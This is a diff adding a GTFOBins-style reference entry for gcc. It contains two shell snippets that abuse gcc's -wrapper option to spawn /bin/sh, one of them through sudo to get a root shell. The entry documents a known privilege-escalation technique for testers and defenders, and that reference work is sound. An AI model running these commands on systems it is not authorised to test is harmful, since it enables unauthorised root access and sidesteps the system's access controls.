diff --git a/_gtfobins/gcc.md b/_gtfobins/gcc.md new file mode 100644 index 0000000..329e9ee --- /dev/null +++ b/_gtfobins/gcc.md @@ -0,0 +1,17 @@ +--- +functions: + shell: + - code: | + TF=$(mktemp -d) + echo '#!/bin/sh' > $TF/x + echo '/bin/sh' >> $TF/x + chmod +x $TF/x + gcc -wrapper $TF/x $TF/x + sudo: + - code: | + TF=$(mktemp -d) + echo '#!/bin/sh' > $TF/x + echo '/bin/sh' >> $TF/x + chmod +x $TF/x + sudo gcc -wrapper $TF/x $TF/x +---